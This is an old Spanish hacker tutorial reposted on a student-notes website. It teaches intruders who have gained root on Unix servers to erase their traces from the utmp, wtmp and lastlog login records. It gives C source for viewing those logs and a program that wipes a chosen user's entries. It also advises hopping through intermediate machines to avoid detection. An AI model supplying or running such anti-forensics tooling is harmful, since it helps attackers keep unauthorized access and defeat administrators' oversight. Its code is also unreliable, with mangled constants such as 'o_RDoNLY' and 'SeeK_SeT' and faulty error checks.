![]() |
Haga click para publicitar en Alipso.com |
| Buscando Secundarios
| Universidades
| Carreras
| Test
Orientaciσn Vocacional | Medios
| Profesores particulares
| Institutos
| Campus Material Monografias | Exαmenes Secundarios | Exαmenes Universitarios | Enlaces | Enviar material | Diversiσn Postales | Humor | Descargas | Juegos Comunidad Foros | Institucional Publicite | En su sitio | Contαctese Cursos en Buenos Aires Cursos de Informática | Cursos de apoyo al CBC | Carreras y Cursos de Diseρo, Comunicaciσn, Arte y Fotografνa |
|
|
Imprimir apunte |
Recomendar a un amigo |
Recordarme el recurso |
|
Mαs sobre este recurso: Catalogado en base de datos como: Eliminando nuestras huellas del sistema: Agregado: 12 de ABRIL de 2000 | Palabras: 1594 | Votar! | Sin Votos | Sin comentarios | Agregar Comentario Categorνa: Apuntes y Monografνas > Computaciσn > Seguridad informatica > |
ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ
³@@@@@@@@@@@@@@@@@ ELIMINANDO
NUESTRAS HUELLAS DEL SISTEMA@@@@@@@@@@@@@@@@@
³
ΓΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ΄
³@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@Por: Guybrush@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ³
ΓΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ΄
³@@@@@@@@@@@@@@@@@@@@@@@ E-Mail:
guybrush@axis.org@@@@@@@@@@@@@@@@@@@@@@@@@
³
ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ
ΪΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ
³@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
INDICE@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
³
ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ
@@@@@@@ 0-Introduccion
@@@@@@@ 1-¨Que huellas dejamos cuando trabajamos en un sistema?
@@@@@@@ 2-¨Por que y cuando es necesario
borrar nuestras huellas?
@@@@@@@ 3-Como borrarlas
@@@@@@@ 4-Despedida
ΪΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ
³@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 0-INTRODUCCION@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ³
ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ
Existen
muchos documentos por ahi que explican como conseguir ser root en
ordenadores
que trabajan con Unix. Como capturar el passwd (este o no shadow),
como
utilizar los diccionarios, cuentas por defecto, bugs, etc. (Nota: ¨que
aun
no sabes como hacer esto? ¨a que esperas para leerte mi articulo sobre
UNIX?.
Lo puedes encontrar en varias revistas o puedes pedirmelo por correo).
Bien,
pero, ¨que
ocurre cuando por fin conseguimos la cuenta root de ese
servidor
al que hemos estado intentando entrar desde hace varios meses? ¨Que
podemos
hacer para conservar esa cuenta el mayor tiempo posible?
ΪΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ
³@@@@@@@@@@ 1-¨QUE HUELLAS DEJAMOS CUANDO
TRABAJAMOS EN SISTEMA?@@@@@@@@@@@ ³
ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ
todos
los sistemas basados en unix guardan informacion sobre los usuarios que
se
conectan, asi como las ordenes que ejecutan y en caso de ser un host remoto
tambien
su direccion de dominio. estos registros son llamados 'logs'.
Pero
no todos los Unix son iguales. Podemos encontrarnos con el Unix de IBM
(AIX),
el Unix del Sun (SunoS o Solaris), etc. Por lo que algunos guardan los
datos
sobre usuarios en directorios distintos a los demas.
Los
logs mas importantes son:
@utmp
@----
@Guarda un log de los usuarios que estan
utilizando el sistema mientras estan
@conectados a el.
@Lo podemos encontrar en:@ /etc/utmp
@wtmp
@----
@Guarda un log cada vez que un usuario se
introduce o sale del sistema.
@Lo podemos encontrar en:@ /var/adm/wtmp
@lastlog
@-------
@Guarda un log del momento exacto en que un
usuario entro por ultima vez.
@Lo podemos encontrar en:@ /var/adm/lastlog
ΪΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ
³@@@@@@@ 2-¨POR QUE Y CUANDO ES NECESARIO
BORRAR NUESTRAS HUELLAS?@@@@@@@@@ ³
ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ
Mientras
seamos un usuario sin privilegios no podremos borrar ninguno de estos
logs,
ya que no tendremos permiso para ello. Pero esto tampoco nos debe
importar
mucho ya que un administrador no puede saber si hoy a las 17:45 horas
ha
entrado en el servidor el usuario 'pepito' o si era un hacker que ha
conseguido
su cuenta. A no ser que se lo pregunte a 'pepito' y este diga: 'oh
no,
pero si yo a esa hora estaba en el cine ...' @#$%& ... pero bueno, es poco
probable
ya que con los pocos privilegios que puede tener un simple usuario no
podemos
hacer casi nada en el sistema. Por lo que un administrador medianamen-
te
bueno, cada vez que comience una sesion revisara sus logs (los del root)
para
ver si hay algo anormal en su cuenta.
Imaginate
que por fin consigues esa deseada cuenta root y por no borrar las
huellas,
cuando vas el dia siguiente a conectarte ... 'invalid passwd' ... y
eso
en el mejor de los casos, porque si no usas 'condones' (conectarte a un
sistema,
de ahi a otro, ... y por fin al sistema victima) te pillaran ensegui-
da.
ΪΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ
³@@@@@@@@@@@@@@@@@@@@@@@@@@@ 3-COMO BORRARLAS@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ³
ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ
Los
ficheros 'utmp', 'wtmp' y 'lastlog', asi como los demas logs adicionales
que
puedan presentar otros sistemas, no son ficheros de texto legibles dado
que
son estruvturas de datos. Por lo que no podras verlas con un simple editor
de
texto, pero si con estos programas:
Primer
programa:
--------------------------
cortar por aqui -----------------------------------
/*****************************************************************************/
/*****@@@@@@@@@@@@@@@@@@@@ editar el fichero
'utmp'@@@@@@@@@@@@@@@@@@@@@ *****/
/*****@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*****/
/*****@@@@@@@@@@@@@@@@ Por Guybrush -
guybrush@axis.org@@@@@@@@@@@@@@@@@
*****/
/*****************************************************************************/
/* programa ulog.c */
#include
<stdio.h>
#include
<utmp.h>
#define
UTMP "/etc/utmp"
void
main()
{
@@ struct utmp u;
@@ FILe *fichero;
@@
@@ if ((fichero = fopen(UTMP,"r"))
== NULL)
@@ {
@@@@@ fprintf(stderr," error : no
encontrado el fichero '%s'\n",UTMP);
@@@@@ exit(0);
@@ }
@@
@@ while (fread(&u, sizeof(u), 1,
fichero))
@@ {
@@@@@ printf("%d - ",u.ut_type);
@@@@@ printf("%d - ",u.ut_pid);
@@@@@ printf("%s - ",u.ut_line);
@@@@@ printf("%s - ",u.ut_id);
@@@@@ printf("%d - ",u.ut_time);
@@@@@ printf("%s - ",u.ut_user);
@@@@@ printf("%s - ",u.ut_host);
@@@@@ printf("%d\n",u.ut_addr);
@@ }
@@ fclose(fichero);
}
--------------------------
cortar por aqui -----------------------------------
Segundo
programa:
--------------------------
cortar por aqui -----------------------------------
/*****************************************************************************/
/*****@@@@@@@@@@@@@@@@@@@@ editar el fichero
'wtmp'@@@@@@@@@@@@@@@@@@@@@ *****/
/*****@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@*****/
/*****@@@@@@@@@@@@@@@@ Por Guybrush -
guybrush@axis.org@@@@@@@@@@@@@@@@@
*****/
/*****************************************************************************/
/*
programa wlog.c */
#include
<stdio.h>
#include
<utmp.h>
#define
WTMP "/usr/adm/wtmp"
void
main()
{
@@ struct utmp w;
@@ FILe *fichero;
@@
@@ if ((fichero = fopen(WTMP,"r"))
== NULL)
@@ {
@@@@@ fprintf(stderr," error : no
encontrado el fichero '%s'\n",WTMP);
@@@@@ exit(0);
@@ }
@@
@@ while (fread(&w, sizeof(w), 1,
fichero))
@@ {
@@@@@ printf("%d - ",w.ut_type);
@@@@@ printf("%d - ",w.ut_pid);
@@@@@ printf("%s - ",w.ut_line);
@@@@@ printf("%s - ",w.ut_id);
@@@@@ printf("%d - ",w.ut_time);
@@@@@ printf("%s - ",w.ut_user);
@@@@@ printf("%s - ",w.ut_host);
@@@@@ printf("%d\n",w.ut_addr);
@@ }
@@ fclose(fichero);
}
--------------------------
cortar por aqui -----------------------------------
Tercer
programa:
--------------------------
cortar por aqui -----------------------------------
/*****************************************************************************/
/*****@@@@@@@@@@@@@@@@@@@ editar el fichero
'lastlog'@@@@@@@@@@@@@@@@@@@ *****/
/*****@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
*****/
/*****@@ @@@@@@@@@@@@@@Por Guybrush - guybrush@axis.org@@@@@@@@@@@@@@@@@ *****/
/*****************************************************************************/
/* programa llog.c */
#include <stdio.h>
#include
<lastlog.h>
#include
<pwd.h>
#define
LASTLoG "/usr/adm/lastlog"
void
main()
{
@@ struct lastlog l;
@@ FILe *fichero;
@@
@@ if ((fichero =
fopen(LASTLoG,"r")) == NULL)
@@ {
@@@@@ fprintf(stderr," error : no
encontrado el fichero '%s'\n",LASTLoG);
@@@@@ exit(0);
@@ }
@@
@@ while (fread(&l, sizeof(l), 1,
fichero))
@@ {
@@@@@ printf("%d - ",l.ll_time);
@@@@@ printf("%s - ",l.ll_line);
@@@@@ printf("%s\n",l.ll_host);
@@ }
@@ fclose(fichero);
}
--------------------------
cortar por aqui -----------------------------------
Con
estos 3 programas te daras cuenta de como quedas registrado en el sistema.
puedes
utilizarlos desde cualquier usuario aunque no seas root ya que solo
muestran
los datos y no los modifican.
Ahora,
si consigues ser root, deberas borrarlos. y para eso puedes utilizar
este
otro programa:
--------------------------
cortar por aqui -----------------------------------
/*****************************************************************************/
/*****@@ Borrar las huellas de los ficheros 'utmp',
'wtmp' y 'lastlog'@@ *****/
/*****@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
*****/
/*****@@@@@@@@@@@@@@@@ Por Guybrush -
guybrush@axis.org@@@@@@@@@@@@@@@@@
*****/
/*****************************************************************************/
/*
programa borrar.c */
#include
<stdio.h>
#include
<sys/types.h>
#include
<fcntl.h>
#include
<utmp.h>
#include
<lastlog.h>
#include
<pwd.h>
#define
UTMP@@@@ "/etc/utmp"@@@@@@@@ /* ruta del utmp@@@ */
#define
WTMP@@@@ "/usr/adm/wtmp"@@@@ /* ruta del wtmp@@@ */
#define
LASTLoG@
"/usr/adm/lastlog"@ /*
ruta del lastlog */
/*****
BoRRAR HUeLLAS De UTMP Y WTMP *****/
void
borrar1(char *usuario, char *log)
{
@@ struct utmp u;@@@@ /* usamos la estructura de datos 'utmp'@@@ */
@@ int fd;
@@ int cambio = 0;
@@
@@ if ((fd = open(log,o_RDoNLY)) == 0)
@@ {
@@@@@ fprintf(stderr,"error : no
encontrado el fichero %s\n",log);
@@@@@ exit(0);
@@ }
@@
@@ close(fd);
@@
@@ if ((fd = open(log,o_RDWR)) == 0)
@@ {
@@@@ @fprintf(stderr,"error : no se puede abrir el fichero %s para
escritura\n",log);
@@@@@ exit(0);
@@ }
@@ lseek(fd, 0, SeeK_SeT);
@@ while (read(fd, &u, sizeof(u)))
@@ {
@@@@@ if (!strncmp(u.ut_user, usuario,
strlen(usuario)))
@@@@@ {
@@@@@@@@ bzero((char *)&u,
sizeof(u));@@@@@@ /* si hay alguna
referencia */
@@@@@@@@ lseek(fd, -(sizeof(u)),
SeeK_CUR);@ /* sobre el usuario elegido
*/
@@@@@@@@ write(fd, &u, sizeof(u));@@@@@@@@@@ /* borra las huellas@@@@@@@ */
@@@@@@@@ cambio = 1;
@@@@@ }
@@ }
@@ close(fd);
@@
@@ if (cambio == 0)
@@@@@ fprintf(stderr,"No se han
encontrado huellas en '%s'\n",log);
@@ else
@@@@@ fprintf(stderr,"Las huellas de '%s'
han sido borradas\n",log);
@@@@@
@@ return;
}
/*****
BoRRAR HUeLLAS De LASTLoG *****/
void
borrar2(char *usuario, char *log)
{
@@ struct lastlog l;@@ /* usamos la estructura de datos 'lastlog' */
@@ struct passwd *pwd; /* usamos la estructura
de datos 'passwd'@ */
@@ int fd;
@@ int cambio = 0;
@@
@@ if ((fd = open(log,o_RDoNLY)) == 0)
@@ {
@@@@@ fprintf(stderr,"error : no
encontrado el fichero %s\n",log);
@@@@@ exit(0);
@@ }
@@
@@ close(fd);
@@
@@ if ((fd = open(log,o_RDWR)) == 0)
@@ {
@@@@@ fprintf(stderr,"error : no se puede
abrir el fichero %s para escritura\n",log);
@@@@@ exit(0);
@@ }
@@ lseek(fd, 0, SeeK_SeT);
@@ if ((pwd = getpwnam(usuario)) == NULL)
@@ {
@@@@@ fprintf(stderr,"error : no existe
ese usuario\n");
@@@@@ exit(0);
@@ }
@@ while (read(fd, &l, sizeof(l)))
@@ {
@@@@@ if (lseek(fd, (long)pwd->pw_uid*sizeof(l),
SeeK_CUR))
@@@@@ {
@@@@@@@@ bzero((char *)&l,
sizeof(l));@ /* si hay alguna referencia
al */
@@@@@@@@ write(fd, &l, sizeof(l));@@@@@ /* usuario elegido, borra las@ */
@@@@@@@@ cambio = 1;@@@@@@@@@@@@@@@@@@@ /* huellas@@@@@@@@ @@@@@@@@@@@@*/
@@@@@ }
@@ }
@@ close(fd);
@@
@@ if (cambio == 0)
@@@@@ fprintf(stderr,"No se han
encontrado huellas en '%s'\n",log);
@@ else
@@@@@ fprintf(stderr,"Las huellas de '%s'
han sido borradas\n",log);
@@@@@
@@ return;
}
/*****
FUNCIoN PRINCIPAL *****/
void
main(int argc, char *argv[])
{
@@ if (argc != 3)
@@ {
@@@@@ fprintf(stderr, "Uso : %s
<usuario> <u|w|l|t>\n");
@@@@@ fprintf(stderr,"@@@@@@@@@ u = utmp\n");
@@@@@ fprintf(stderr,"@@@@@@@@@ w = wtmp\n");
@@@@@ fprintf(stderr,"@@@@@@@@@ l = lastlog\n");
@@@@@ fprintf(stderr,"@@@@@@@@@ t = todo (los tres)\n");
@@@@@ exit(0);
@@ }
@@
@@ if (argv[2][0] == 'l')
@@@@@ borrar2(argv[1], LASTLoG);@@ /* borramos las huellas del lastlog */
@@ if (argv[2][0] == 'u')
@@@@ @borrar1(argv[1], UTMP);@@@@@
/* borramos las huellas del utmp@@@
*/
@@ if (argv[2][0] == 'w')
@@@@@ borrar1(argv[1], WTMP);@@@@@ /* borramos las huellas del wtmp@@@ */
@@ if (argv[2][0] == 't')
@@ {
@@@@@ borrar2(argv[1], LASTLoG);
@@@@@ borrar1(argv[1], UTMP);
@@@@@ borrar1(argv[1], WTMP);
@@ }
}
--------------------------
cortar por aqui -----------------------------------
espero
que les saques provecho.@@ ;)
Sacado
de http://raregazz.islatortuga.com